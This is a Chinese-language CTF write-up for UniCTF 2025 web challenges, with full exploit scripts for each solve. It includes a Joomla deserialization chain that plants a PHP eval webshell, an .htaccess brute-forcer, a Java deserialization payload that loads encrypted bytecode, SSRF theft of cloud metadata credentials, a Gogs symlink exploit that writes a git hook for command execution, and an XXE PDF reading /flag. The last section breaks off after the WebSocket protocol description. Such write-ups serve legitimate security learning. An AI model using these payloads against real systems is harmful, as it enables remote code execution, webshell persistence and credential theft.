2025UniCTF-Writeup

UniCTF-Writeup

战队名称:最后⼀场

unictf1.png

Web

调查问卷

填完就给flag

ezUpload

打开靶机可以知道题目是一个文件上传,并且提示是上传配置文件,所以可以猜到上传.htaccess文件

unictf2.png

最下面也注释了一些限制条件

unictf3.png

可以看到过滤了一些特殊字符,所以无法使用常规的.htaccess。Flag也是会存储在环境变量中,其中Apache 的 mod_headers模块允许我们在.htaccess 中设置HTTP响应头,并且可以通过特定的语法引用环境变量。所以可以使用Header指令将环境变量的值回显在响应头中。

1
2
3
Header always set X-Flag %{FLAG}e
或者
Header always set X-Flag %{ENV:FLAG}e

在旧版本或特定配置的Apache中是引入了表达式语法,可以通过expr=来动态计算值。

1
Header always set X-Flag "expr=%{ENV:FLAG}"

接下来就是构造并上传 .htaccess,创建一个名为 .htaccess的文件,内容如下:

1
Header always set X-Flag-Expr "expr=%{ENV:FLAG}"

上传该文件。

unictf4.png

再上传任意一个普通文件 test.txt,内容随意。

unictf5.png

接着访问 http://80-ddf09a6d-1a63-445a-aea1-a9986a059438.challenge.ctfplus.cn/upload/test.txt

查看 HTTP 响应头,在响应头中会发现 X-Flag-Expr 字段,其值即为 Flag。

image-20260130155525544

所以flag为

1
UniCTF{sh1z1_900e9d44-688d-4aa4-a798-ef14f08f3b4a}

Joomla Revenge!

这题是利用 Joomla 的日志类写入文件,最终写入一个可执行 PHP 文件:

  • __destruct()defer=truedeferredEntries 非空时,会把日志写入 $this->path
  • __wakeup() 会在 defer=truedeferredEntries 非空时抛异常,阻断反序列化。
  • 通过设置 format{MESSAGE}fields['MESSAGE'],确保只写入我们控制的 message

unictf6.png

  • Joomla\Database\Sqlite\SqliteDriver 继承 PdoDriver
  • PdoDriver::__wakeup() 会执行 __construct($this->options),把 options 填成非空数组。
  • 主要是让 FormattedtextLogger::$defer 引用 SqliteDriver::$options。反序列化开始时先让 options 为空数组,defer 也为空,FormattedtextLogger::__wakeup() 不触发异常。随后SqliteDriver::__wakeup() 执行构造函数,options 变为非空数组,defer 同步变为真。脚本结束时触发 __destruct(),写入PHP代码。

unictf7.png

  • 选择 Web 可访问且可写目录:/var/www/html/images/shell.php
  • text_file_no_php 置 1,避免生成 die() 头;日志头部以 # 开头,不影响 PHP 解析。

exp如下会生成 base64 payload,并将写入的 PHP 代码改为“列出根目录 / 的文件”,满足“获取 / 目录下信息”的需求。

tmp/payload_gen.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
require 'libraries/vendor/autoload.php';
if (!defined('_JEXEC')) { define('_JEXEC', 1); }

use Joomla\CMS\Log\Logger\FormattedtextLogger;
use Joomla\CMS\Log\LogEntry;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Date\Date;
use Joomla\Database\Sqlite\SqliteDriver;

$logger = (new ReflectionClass(FormattedtextLogger::class))->newInstanceWithoutConstructor();
$sqlite = (new ReflectionClass(SqliteDriver::class))->newInstanceWithoutConstructor();
$entry = (new ReflectionClass(LogEntry::class))->newInstanceWithoutConstructor();

// 这里是“获取 / 目录”的操作
$entry->message = "<?php echo implode(\"\\n\", scandir('/')); ?>";
$entry->priority = Log::INFO;
$entry->category = 'x';
$entry->date = new Date('now');

$setProtected = function($obj, $prop, $value) {
$ref = new ReflectionProperty($obj, $prop);
$ref->setAccessible(true);
$ref->setValue($obj, $value);
};

$setProtected($sqlite, 'options', []);

$setProtected($logger, 'path', '/var/www/html/images/shell.php');
$setProtected($logger, 'format', '{MESSAGE}');
$setProtected($logger, 'fields', ['MESSAGE']);
$setProtected($logger, 'deferredEntries', [$entry]);
$setProtected($logger, 'options', ['text_file_no_php' => 1]);

$getOptionsRef = function &() { return $this->options; };
$getOptionsRef = $getOptionsRef->bindTo($sqlite, $sqlite);
$optionsRef = &$getOptionsRef();

$bind = function (&$ref) { $this->defer = &$ref; };
$bind = $bind->bindTo($logger, $logger);
$bind($optionsRef);

$payload = serialize([$logger, $sqlite]);
echo base64_encode($payload), "\n";

生成 payload:

1
php tmp\payload_gen.php

发送 payload 触发写入

1
2
$payload = "<上一步输出的 base64>"
curl -s -X POST --data-urlencode "unser=$payload" http://80-00fa3b9f-72f7-4379-99bf-f97bffc2b240.challenge.ctfplus.cn/unser.php

访问写入文件,列出 / 目录

1
http://80-00fa3b9f-72f7-4379-99bf-f97bffc2b240.challenge.ctfplus.cn/images/shell.php

访问后即可看到根目录内容列表。这里上面也可以使用蚁剑连接是更好去找flag的,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
require 'libraries/vendor/autoload.php';
if (!defined('_JEXEC')) { define('_JEXEC', 1); }

use Joomla\CMS\Log\Logger\FormattedtextLogger;
use Joomla\CMS\Log\LogEntry;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Date\Date;
use Joomla\Database\Sqlite\SqliteDriver;

$logger = (new ReflectionClass(FormattedtextLogger::class))->newInstanceWithoutConstructor();
$sqlite = (new ReflectionClass(SqliteDriver::class))->newInstanceWithoutConstructor();
$entry = (new ReflectionClass(LogEntry::class))->newInstanceWithoutConstructor();

$entry->message = "<?php @eval(\$_POST['ant']); ?>";
$entry->priority = Log::INFO;
$entry->category = 'x';
$entry->date = new Date('now');

$setProtected = function($obj, $prop, $value) {
$ref = new ReflectionProperty($obj, $prop);
$ref->setAccessible(true);
$ref->setValue($obj, $value);
};

$setProtected($sqlite, 'options', []);

$setProtected($logger, 'path', '/var/www/html/images/ant.php');
$setProtected($logger, 'format', '{MESSAGE}');
$setProtected($logger, 'fields', ['MESSAGE']);
$setProtected($logger, 'deferredEntries', [$entry]);
$setProtected($logger, 'options', ['text_file_no_php' => 1]);

$getOptionsRef = function &() { return $this->options; };
$getOptionsRef = $getOptionsRef->bindTo($sqlite, $sqlite);
$optionsRef = &$getOptionsRef();

$bind = function (&$ref) { $this->defer = &$ref; };
$bind = $bind->bindTo($logger, $logger);
$bind($optionsRef);

$payload = serialize([$logger, $sqlite]);
echo base64_encode($payload), "\n";

接着还是和上面一样的操作将这个文件写进去,最后用蚁剑连接

unictf8.png

连接上可以知道找不到这个flag但是这里有一个entrypoint.sh文件可以看一下可以知道flag写在了环境变量中,接着直接使用终端去查找flag

1
echo $UNICTF_FLAG

unictf9.png

CloudDiag

先访问目标网站,先注册一个账号并登入

unictf10.png

/tasks/new 页面,Config URL 参数引起了注意。可以知道输入一个 URL 后,系统会抓取该 URL 的内容并预览前 2KB。这显然是一个漏洞点。

尝试输入常见 SSRF 探测 payload:http://127.0.0.1/ -> 返回 Blocked keyword: 127.0.0.1

unictf11.png

题目描述提到了 “Cloud environment” 和 “Instance roles”。经过进一步探测,发现 http://metadata:1338/ 是可访问的。接着利用 SSRF 访问 Metadata 服务,枚举路径:

访问 http://metadata:1338/latest/meta-data/iam/security-credentials/

unictf12.png

返回角色名称: clouddiag-instance-role

访问 http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiag-instance-role

unictf13.png

  • 成功获取 JSON 格式的临时凭证:
    1
    2
    3
    4
    5
    6
    7
    8
    {
    "AccessKeyId": "AKIA6F9BC1D40C5244DE",
    "Code": "Success",
    "Expiration": "2026-01-30T08:55:14.161744Z",
    "SecretAccessKey": "c979be5d035745e4866b8623194ea1fea7ce8087b9614a8c99ff4fca6e4a2bce",
    "Token": "8c772dca9293461fa20f5335de4176c2c5ce12a0d8ef450aa165d57811095738",
    "Type": "AWS-HMAC"
    }

拿到凭证后,前往 /explorer 页面。这个页面模拟了 S3 客户端的功能。填入获取到的 AccessKeyId, SecretAccessKey, Session Token。可以得到

unictf14.png

发现以下 Buckets:

  • clouddiag-public
  • clouddiag-reports
  • clouddiag-secrets

接着查询 clouddiag-secrets Bucket。

unictf15.png

发现文件: flags/runtime/flag-f7fa7a0f7b364549981f871096a73ccf.txt读取该文件内容。

unictf16.png

所以flag为:

1
UniCTF{76c56daa-7d97-45e7-8ec4-25abc7315593}

ezUpload Revenge!!

这个题目是ezUpload的升级版也是提供了一个文件上传,也是可以上传 .htaccess 文件,但是原来的那种方法是无法获取到flag。可以知道这题存在严格的过滤和配置限制:不允许上传 .php 等可执行文件后缀。内容关键字过滤:php、env、?、$、<、Header指令中如果紧跟expr=会被拦截。由于 env 关键字被屏蔽,所以无法直接读取 flag。同时 < 被屏蔽,只能使用 .htaccess 的顶层指令。

经过 Fuzz 测试,可以发现了以下绕过方式:

  1. 读取 Flag 方式
    虽然 %{ENV:FLAG} 被拦截,但 Apache 表达式支持 file() 函数读取文件内容。

    • Payload: file('/flag')
  2. 表达式执行
    Header 指令直接使用 expr= 会被拦截,但通过在等号前加空格可以绕过。

    • Payload: expr = ...
  3. 盲注
    尝试通过 Header 回显 Flag 失败。尝试 RewriteRule[R=302] 重定向也失败。最后利用 RewriteRule[G]标志。如果条件成立,返回 410;否则返回 200。这构成了一个布尔盲注。

构造如下的 .htaccess 文件:

1
2
3
4
5
RewriteEngine On
# 使用 file() 读取 flag,并用正则匹配猜测的前缀
RewriteCond expr "file('/flag') =~ /^UniCTF\{a/"
# 如果匹配成功,强制返回 410 Gone 状态码
RewriteRule ^ - [G]

上传包含上述规则的 .htaccess。访问上传目录下的任意文件(如 test.txt)。如果返回 410 Gone -> 说明正则匹配成功,flag以该前缀开头。如果返回 200 OK -> 说明匹配失败。

exp如下,逐位爆破 Flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
import string
import sys

# 题目 URL
url = "http://80-0ac40b71-e06e-437d-a891-10ff78b45ece.challenge.ctfplus.cn/"
# 字符集
charset = string.ascii_letters + string.digits + "{}_-!@#"

def check_prefix(prefix):
# 构造正则: ^prefix
# 注意:反斜杠 \ 被过滤,无法转义特殊字符,但本题 Flag 字符无需转义
regex = f"^{prefix}"

# 构造 .htaccess Payload
payload = f"""
RewriteEngine On
RewriteCond expr "file('/flag') =~ /{regex}/"
RewriteRule ^ - [G]
"""
try:
# 1. 上传 .htaccess
# 注意 Content-Type 设为 application/octet-stream 避免额外干扰
r = requests.post(url, files={'file': ('.htaccess', payload, 'application/octet-stream')}, timeout=3)
if "File uploaded successfully" not in r.text:
return None # 上传被 WAF 拦截
except:
return None

try:
# 2. 触发规则
# 先上传一个辅助文件确保有东西可访问(可选)
requests.post(url, files={'file': ('test.txt', 'test', 'text/plain')})
r = requests.get(url + 'upload/test.txt', timeout=3)

# 3. 判断状态码
if r.status_code == 410:
return True # 匹配成功
return False # 匹配失败
except:
return False

# 主程序
current_flag = ""
print(f"[*] Starting Brute Force on {url}")

while True:
found_char = False
for char in charset:
test_flag = current_flag + char
sys.stdout.write(f"\rTesting: {test_flag}")
sys.stdout.flush()

result = check_prefix(test_flag)

if result is True:
current_flag += char
print(f"\n[+] Found: {current_flag}")
found_char = True
break
elif result is None:
# print(f"\n[!] Blocked payload for char: {char}")
pass

if not found_char:
print("\n[-] Brute force finished.")
break

print(f"\n[*] Final Flag: {current_flag}")

运行脚本后,逐位获得 Flag:

unictf17.png

1
UniCTF{sz_face114a-6d91-4e16-9744-a117847b9bb9}

ez Java

先反编译 Unictf.jar 后,核心逻辑在:

  • com.unictf.ctf.controller.UserProfileController#importSettings
  • com.unictf.ctf.tools.ConfigDataWrapper#toString

先分析UserProfileController

unictf18.png

可以知道其中importSettings 逻辑:Base64 解码 configDataObjectInputStream 读取:readUTF() -> identityreadInt() -> versionreadObject() -> objidentity == "InternalManager" && version == 2025 时,记录日志并返回 SUCCESS

接着看ConfigDataWrapper

unictf19.png

ConfigDataWrapper#toString() 里存在危险逻辑:当 ClassByte != nullsign == "ready" 时,对 ClassByte 做 XOR 0xFF 解密了,通过反射调用 ClassLoader#defineClass 加载解密后的字节码,newInstance() 执行构造方法。

  1. 构造 ConfigDataWrapper
    • configIdCONF- 开头以通过 validate() 逻辑
    • ClassByte 填入 XOR 0xFF 后的 Exploit.class 字节
    • sign = "ready"
  2. 序列化顺序严格匹配服务端:
    • writeUTF("InternalManager")
    • writeInt(2025)
    • writeObject(wrapper)
  3. Base64编码后POST到 /api/user/settings/import

Exploit.java(恶意类):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public class Exploit {
public Exploit() {
try {
String flag = readFlag();
Object attrs = Class.forName("org.springframework.web.context.request.RequestContextHolder")
.getMethod("getRequestAttributes")
.invoke(null);
if (attrs != null) {
Class<?> sraCls = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
if (sraCls.isInstance(attrs)) {
Object resp = sraCls.getMethod("getResponse").invoke(attrs);
if (resp != null) {
tryInvoke(resp, "resetBuffer");
tryInvoke(resp, "setStatus", new Class[]{int.class}, new Object[]{200});
tryInvoke(resp, "setContentType", new Class[]{String.class}, new Object[]{"text/plain"});
Object writer = resp.getClass().getMethod("getWriter").invoke(resp);
writer.getClass().getMethod("write", String.class).invoke(writer, flag);
writer.getClass().getMethod("flush").invoke(writer);
tryInvoke(resp, "flushBuffer");
}
}
}
} catch (Throwable t) {
// ignore
}
}

private static void tryInvoke(Object target, String name) {
try {
target.getClass().getMethod(name).invoke(target);
} catch (Throwable t) {
// ignore
}
}

private static void tryInvoke(Object target, String name, Class[] types, Object[] args) {
try {
target.getClass().getMethod(name, types).invoke(target, args);
} catch (Throwable t) {
// ignore
}
}

private static String readFlag() {
String env = System.getenv("FLAG");
if (env != null && !env.isEmpty()) {
return env;
}
String[] paths = new String[]{
"/flag",
"/flag.txt",
"/app/flag",
"/app/flag.txt",
"/home/ctf/flag",
"/home/ctf/flag.txt"
};
for (String p : paths) {
try {
byte[] data = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(p));
if (data != null && data.length > 0) {
return new String(data).trim();
}
} catch (Throwable t) {
// ignore
}
}
return "FLAG_NOT_FOUND";
}
}

ExploitBuilder.java(生成序列化 payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.unictf.ctf.tools.ConfigDataWrapper;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class ExploitBuilder {
public static void main(String[] args) throws Exception {
if (args.length != 1) {
System.err.println("Usage: ExploitBuilder <path-to-Exploit.class>");
System.exit(1);
}
byte[] classBytes = Files.readAllBytes(Paths.get(args[0]));
byte[] enc = new byte[classBytes.length];
for (int i = 0; i < classBytes.length; i++) {
enc[i] = (byte)(classBytes[i] ^ 0xFF);
}

ConfigDataWrapper obj = new ConfigDataWrapper();
obj.setConfigId("CONF-1337");
obj.addMetadata("type", "internal");

Field classByteField = ConfigDataWrapper.class.getDeclaredField("ClassByte");
classByteField.setAccessible(true);
classByteField.set(obj, enc);

Field signField = ConfigDataWrapper.class.getDeclaredField("sign");
signField.setAccessible(true);
signField.set(obj, "ready");

obj.updateChecksum();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("InternalManager");
oos.writeInt(2025);
oos.writeObject(obj);
oos.close();

String b64 = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(b64);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
编译 Exploit
javac --release 8 .\Exploit.java

编译 ExploitBuilder
javac --release 8 -cp .\unzipped\BOOT-INF\classes .\ExploitBuilder.java

生成 payload
java -cp ".;\unzipped\BOOT-INF\classes" ExploitBuilder .\Exploit.class > payload.b64

发送
$b64 = (Get-Content -Raw .\payload.b64).Trim()

curl -s -X POST --data-urlencode "configData=$b64" \
"http://8888-6ace9241-a9a3-48ae-af2c-de5404c90e8d.challenge.ctfplus.cn/api/user/settings/import"

执行后就会得到flag

Bytecode Compiler

先访问首页

unictf20.png

页面提示:支持指令仅 ECHO / LEN / HASH,有“诊断模式”,/api/fetch?url=…&token=…(token 正确时会携带管理头)。这说明:前端会将脚本编译成某种“packet”发给后端 /api/vmapi/fetch 很可能可 SSRF。接着查看源代码

unictf21.png

点击 bundle.js 进行分析

unictf22.png

可以知道该文件暴露了完整协议和编码逻辑。前端构造 packet 的逻辑非常清晰,关键字段如下:

1
2
3
4
5
6
7
8
9
10
11
12
WVLT            // 4 bytes magic
0x01 // version
nonce[8] // 8 bytes
count // 1 byte, 指令数

for each instruction:
opcode(u32le)
flags(u8)
arg_len(u16le)
arg(bytes)

checksum(u32le) // JS风格 FNV1a

opcode 编码

1
2
3
4
5
6
7
8
9
10
const K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0];
K1 = 0x1c2d3e40
K2 = 0xa5b6c7d8
K3 = 0x2468ace0
ROT = 11

encodeOp(opId, nonceLow32):
rot = rotl32((nonceLow32 ^ K2), ROT) & 0xfffffffc
base = (opId ^ K1) + rot
return (base ^ K3) | 0x80000000

校验和:前端使用 FNV1a,但JS中hash 0x01000193会变成浮点数,再 ToUint32。Python 直接用 32 位整数乘法会得到不同结果,因此必须模拟 JS 的 int32 语义。

1
2
hash ^= byte
hash = (hash * 0x01000193) >>> 0

正确做法:

  • XOR 先变成 int32
  • 再 float 乘法
  • ToUint32 截断
1
2
3
4
const signedFlags = (flags << 24) >> 24;
const dispatchIndex = signedFlags < 0
? (((signedFlags >>> 0) | opId) % 4)
: (opId % 4);

说明:

  • dispatch 有 4 个槽位
  • 如果 flags 为负,就能走内部诊断槽位

于是尝试把flags设为0xFF

  • op=0/1/2 时不返回正常输出,而是泄露 token

返回:

1
token:you-got-me-baby-where-is-my-bytecode

SSRF 拿 flag,使用 token 访问:

1
/api/fetch?url=http://127.0.0.1/internal/flag&token=you-got-me-baby-where-is-my-bytecode

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import base64
import os
import struct
import json
import urllib.parse
import urllib.request

HOST = "http://80-8f946ca1-acb6-45bb-8653-16d853b63b08.challenge.ctfplus.cn"
INTERNAL_FLAG_URL = "http://127.0.0.1/internal/flag"

K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0]
K1 = ((K[0] << 24) | (K[1] << 16) | (K[2] << 8) | K[3]) & 0xffffffff
K2 = ((K[4] << 24) | (K[5] << 16) | (K[6] << 8) | K[7]) & 0xffffffff
K3 = ((K[8] << 24) | (K[9] << 16) | (K[10] << 8) | K[11]) & 0xffffffff
ROT = 11


def rotl32(v, s):
return ((v << s) | (v >> (32 - s))) & 0xffffffff


def encode_op(op_id, nonce_low32):
rot = (rotl32((nonce_low32 ^ K2) & 0xffffffff, ROT) & 0xfffffffc) & 0xffffffff
base = ((op_id ^ K1) + rot) & 0xffffffff
return ((base ^ K3) | 0x80000000) & 0xffffffff


def to_int32(x):
x &= 0xffffffff
return x - 0x100000000 if x & 0x80000000 else x


def fnv1a_js(data: bytes) -> int:
"""模拟 JS: hash = (hash * 0x01000193) >>> 0"""
h = 0x811c9dc5
for b in data:
h = to_int32(h ^ b)
h = int(float(h) * 0x01000193) & 0xffffffff
return h


def build_packet(op_id=0, arg=b"A", flags=0xFF):
nonce = os.urandom(8)
nonce_low32 = struct.unpack("<I", nonce[:4])[0]

chunks = bytearray()
chunks += b"WVLT"
chunks += b"\x01"
chunks += nonce
chunks += bytes([1])

opcode = encode_op(op_id, nonce_low32)
chunks += struct.pack("<I", opcode)
chunks += bytes([flags & 0xff])
chunks += struct.pack("<H", len(arg))
chunks += arg

checksum = fnv1a_js(chunks)
packet = chunks + struct.pack("<I", checksum)
return base64.b64encode(packet).decode()


def get_token():
packet_b64 = build_packet()
req = urllib.request.Request(
f"{HOST}/api/vm",
data=json.dumps({"packet_b64": packet_b64}).encode(),
headers={"Content-Type": "application/json"},
)
data = json.loads(urllib.request.urlopen(req).read().decode())
out = data.get("output_utf8", "")
if "token:" not in out:
raise RuntimeError(f"unexpected vm output: {out}")
return out.split("token:", 1)[1].strip()


def fetch_flag(token):
url = (
f"{HOST}/api/fetch?url={urllib.parse.quote(INTERNAL_FLAG_URL, safe='')}"
f"&token={urllib.parse.quote(token)}"
)
data = json.loads(urllib.request.urlopen(url).read().decode())
return data.get("body", "")


if __name__ == "__main__":
token = get_token()
flag = fetch_flag(token)
print(flag)

运行可以得到flag为:

1
UniCTF{f9514a6e-9b12-4ca8-af10-44ba151c9bf0}

gogogos

访问页面是 Gogs。

unictf23.png

看着这个好像一个平台,像这种一般是会有一些CVE这类的,可以去网上搜索Gogs的漏洞

unictf24.png

可以知道可能是CVE-2025-8110,接着去github下载PoC(Ashwesker-CVE-2025-8110),接着猜测是 Gogs 符号链接写文件 类漏洞,可通过仓库内容接口 / 提交钩子执行命令。

  1. 使用账号登录创建仓库。
  2. 通过 Git 本地制造 symlink 文件 指向仓库 hooks 目录(/data/git/gogs-repositories/<user>/<repo>.git/hooks/post-receive)。
  3. 使用 API 写入 symlink 指向的真实 hooks 文件,让 hook 在每次 push 时执行自定义命令。
  4. 利用 hook 输出环境变量,读取 flag。
  1. 登录并创建仓库
  • 登录:/user/login
  • 新建仓库:/repo/create

也可以用脚本自动化创建 token 方便调用 API。生成 API Token(脚本)

token_get.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests, re
from bs4 import BeautifulSoup

base='http://3000-8bf88578-3bcf-44ca-aae3-e138051f461c.challenge.ctfplus.cn'
user='11'
passwd='11'

s=requests.Session()
login_page=s.get(base+'/user/login')
csrf=re.search(r'name="_csrf"\s+content="([^"]+)"', login_page.text).group(1)

s.post(base+'/user/login', data={'_csrf': csrf, 'user_name': user, 'password': passwd}, allow_redirects=True)

apps=s.get(base+'/user/settings/applications')
soup=BeautifulSoup(apps.text, 'html.parser')
form=None
for f in soup.find_all('form'):
if f.get('action','').endswith('/user/settings/applications') and f.find('input', {'name':'name'}):
form=f
break
csrf=form.find('input', {'name':'_csrf'})['value']
name='ctf-token'
resp=s.post(base+form.get('action'), data={'_csrf': csrf, 'name': name}, allow_redirects=True)

soup2=BeautifulSoup(resp.text, 'html.parser')
msgs=[msg.get_text(' ', strip=True) for msg in soup2.select('.ui.message, .ui.info.message, .ui.success.message, .ui.positive.message')]
import re
m=re.search(r'([0-9a-f]{40})', ' '.join(msgs))
print('token:', m.group(1))

得到 token 后,API 使用:

1
GET /api/v1/user/repos?token=<TOKEN>
  1. 本地创建 symlink 文件

Gogs API 对普通文件写入不会出问题,但 写入 symlink 指向的路径 会绕过路径校验。

  • 在本地仓库里创建一个 符号链接文件 pwn,目标是服务端 hooks 文件。
  • 通过 git update-index --cacheinfo 120000 写入 symlink。Windows 无需真正创建 NTFS symlink。
1
2
3
4
5
6
7
8
9
10
# 在本地仓库目录中执行
"/data/git/gogs-repositories/11/ctfdiha.git/hooks/post-receive" | Out-File -NoNewline -Encoding ascii linktarget.txt
$hash = (git hash-object -w linktarget.txt).Trim()
Write-Host $hash

git update-index --add --cacheinfo 120000 $hash pwn

git commit -m "symlink to repo hooks path"

git push

此时服务器仓库中 pwn 是一个 symlink。然后用 API 对 pwn 文件进行更新,Gogs 会跟随 symlink,写到 hooks/post-receive

update_hook.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests, base64

base='http://3000-8bf88578-3bcf-44ca-aae3-e138051f461c.challenge.ctfplus.cn'
token='这里填你的token'
repo='11/ctfdiha'

api=f"{base}/api/v1/repos/{repo}/contents/pwn"
info=requests.get(api, params={'token': token}).json()
sha=info.get('sha')

script='#!/bin/sh\necho ENVFLAG >&2\nenv | grep -i flag >&2\n'
content=base64.b64encode(script.encode()).decode()

resp=requests.put(api, params={'token': token}, json={
'message':'write hook env flag',
'content':content,
'branch':'master',
'sha':sha
})
print(resp.status_code)
print(resp.text[:200])

随便改动一个文件并 push,让 post-receive 执行:

1
2
3
4
5
6
7
Add-Content -Path hello.txt -Value "trigger"

git add hello.txt

git commit -m "trigger hook"

git push

git push 的输出中可以看到 hook 输出:

1
2
remote: ENVFLAG
remote: FLAG=UniCTF{1a093955-ef6b-4276-a2a8-00aee0897fbd}

最终 flag:

1
UniCTF{1a093955-ef6b-4276-a2a8-00aee0897fbd}

SecureDoc Parser

  1. 构造恶意 PDF:
    • 创建最小化的 PDF 结构。
    • 嵌入包含 XML Payload 的 XFA 对象。
    • 定义指向 file:///flag 的外部实体。
    • 在 XFA 表单的文本字段中引用此实体。
  2. 上传与解析:
    • 将制作好的 PDF 上传到服务。
    • 服务器处理 XFA,解析外部实体(读取 /flag),并渲染内容。
  3. 获取 Flag:
    • 访问预览页面查看提取的文本,其中应包含 Flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import sys

def create_xfa_pdf():
# 针对 /flag 的 XXE Payload
payload_xml = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
<subform>
<field name="x">
<value>
<text>&xxe;</text>
</value>
</field>
</subform>
</template>
</xdp:xdp>"""

# 包含 XFA 对象的最小化 PDF 结构
header = b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n"

# 对象 1: Catalog 引用 XFA
obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R /AcroForm << /Fields [] /XFA 3 0 R >> >>\nendobj\n"

obj2 = b"2 0 obj\n<< /Type /Pages /Kids [ 4 0 R ] /Count 1 >>\nendobj\n"

# 对象 3: 包含 Payload 的 XFA 流
obj3_header = b"3 0 obj\n<< /Length " + str(len(payload_xml)).encode() + b" >>\nstream\n"
obj3_footer = b"\nendstream\nendobj\n"
obj3 = obj3_header + payload_xml + obj3_footer

obj4 = b"4 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Content 5 0 R >>\nendobj\n"
obj5 = b"5 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n"

body = header + obj1 + obj2 + obj3 + obj4 + obj5

# 交叉引用表 (简化版)
xref_offset = len(body)
xref = b"xref\n0 6\n0000000000 65535 f \n"
xref += f"{body.find(obj1):010} 00000 n \n".encode()
xref += f"{body.find(obj2):010} 00000 n \n".encode()
xref += f"{body.find(obj3_header):010} 00000 n \n".encode()
xref += f"{body.find(obj4):010} 00000 n \n".encode()
xref += f"{body.find(obj5):010} 00000 n \n".encode()

trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n" + str(xref_offset).encode() + b"\n%%EOF"

return body + xref + trailer

def exploit():
url = "http://5000-72d6075f-350f-48b6-8f24-f1c3e5a8e3fc.challenge.ctfplus.cn"

# 1. 生成 PDF
pdf_content = create_xfa_pdf()

# 2. 上传
files = {'file': ('xxe.pdf', pdf_content, 'application/pdf')}
print("[*] Uploading malicious PDF...")
response = requests.post(f"{url}/upload", files=files)

if response.status_code == 200:
file_id = response.json().get('file_id')
print(f"[+] Upload successful. File ID: {file_id}")

# 3. 获取 Flag
print("[*] Checking preview...")
preview_resp = requests.get(f"{url}/preview/{file_id}")

if "UniCTF{" in preview_resp.text:
print(f"[+] Flag found: {preview_resp.text.strip()}")
else:
print("[-] Flag not found in preview.")

if __name__ == "__main__":
exploit()

运行利用脚本成功获取 Flag:

1
UniCTF{810e9061-db2c-470d-98e0-32c5d181df34}

IntraSight

unictf25.png

应用有一个 /fetch 端点,接受 url 参数。通过测试该端点,确认其存在 SSRF 漏洞:

  • 它可以访问外部站点。
  • 它可以访问内部 localhost 服务 (http://127.0.0.1)。

利用 SSRF 漏洞,我们扫描了内部端口并识别出两个关键服务:

  • 端口 8001: 内部管理面板。
    • 通过 /openapi.json 发现的端点:/status, /api/debug/config, /redirect_ws
    • /api/debug/config 泄露了内部 WebSocket URL:ws://127.0.0.1:9000/ws
  • 端口 9000: 内部 WebSocket 服务(“IntraSight 模板预览”)。
    • 需要 X-Internal-Token 头和有效的 Origin 头。

端点 http://127.0.0.1:8001/redirect_ws 重定向到 ws://127.0.0.1:9000/ws?token=<TOKEN>。通过跟随此重定向,可以获得有效的认证 Token。端口 9000 上的 WebSocket 服务需要一个定义渲染模板的 JSON Payload。欢迎消息提示了协议格式:

1
{"protocol":{"action":"render","template":"<template string>","context":{"optional":"variables"}}}

